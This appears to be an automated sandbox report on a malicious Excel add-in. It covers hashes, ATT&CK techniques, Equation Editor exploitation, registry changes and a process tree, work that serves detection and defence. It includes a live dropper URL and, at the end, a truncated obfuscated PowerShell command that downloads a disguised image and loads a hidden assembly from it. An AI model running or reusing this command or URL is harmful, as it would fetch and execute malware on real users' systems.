6bcaa06dd53ee4d8fe107f6e4ac613b687c63bf521b7534a195dccbb39383654

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
12/10/2023, 15:50

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General

Target

6bcaa06dd53ee4d8fe107f6e4ac613b687c63bf521b7534a195dccbb39383654_JC.xlam
Size

700KB
MD5

5f0a41100dd08ddbf58e1a314991f84e
SHA1

83df097fff63f0b84eb609c1a50bd5b69947e839
SHA256

6bcaa06dd53ee4d8fe107f6e4ac613b687c63bf521b7534a195dccbb39383654
SHA512

7efb26345da3d7b7bd2825b270057cca572cb6922f07a2c62dd8d07900ec660b40eaf5ac0cc3b52f028ffe4af9b044a7dc87695835a7e8f3dc3ae9d5796c109b
SSDEEP

12288:KJFOqgO6iZPE/dg5UlQK6rFp6gJL7MltpvwdB8OP95drlw3EJVLMPx6jleW:WXyak6rL5HMXFaBRP9zlyioPAwW

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

exe.dropper

https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2756	EQNEDT32.EXE
7	2124	powershell.exe
9	2124	powershell.exe
11	2124	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2756	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3849525425-30183055-657688904-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2072	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2676	powershell.exe
2124	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	2124	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2072	EXCEL.EXE
2072	EXCEL.EXE
2072	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2784	2756	EQNEDT32.EXE	29
PID 2756 wrote to memory of 2784	2756	EQNEDT32.EXE	29
PID 2756 wrote to memory of 2784	2756	EQNEDT32.EXE	29
PID 2756 wrote to memory of 2784	2756	EQNEDT32.EXE	29
PID 2784 wrote to memory of 2676	2784	WScript.exe	30
PID 2784 wrote to memory of 2676	2784	WScript.exe	30
PID 2784 wrote to memory of 2676	2784	WScript.exe	30
PID 2784 wrote to memory of 2676	2784	WScript.exe	30
PID 2676 wrote to memory of 2124	2676	powershell.exe	33
PID 2676 wrote to memory of 2124	2676	powershell.exe	33
PID 2676 wrote to memory of 2124	2676	powershell.exe	33
PID 2676 wrote to memory of 2124	2676	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6bcaa06dd53ee4d8fe107f6e4ac613b687c63bf521b7534a195dccbb39383654_JC.xlam
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2072

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\kdffxyu.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre2DgTreDEDgTreNgDgTrevDgTreDYDgTreMDgTreDgTre5DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrecgB1DgTreG0DgTrecDgTreBfDgTreHYDgTreYgBzDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDYDgTreOQDgTre1DgTreDQDgTreMDgTreDgTre4DgTreDkDgTreMwDgTre3DgTreCcDgTreOwDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB3DgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTreuDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreKQDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreRQBODgTreEQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreUwB1DgTreGIDgTrecwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreLDgTreDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreKQDgTre7DgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTregDgTreD0DgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTreuDgTreEcDgTreZQB0DgTreFQDgTreeQBwDgTreGUDgTreKDgTreDgTrenDgTreEYDgTreaQBiDgTreGUDgTrecgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreVgBBDgTreEkDg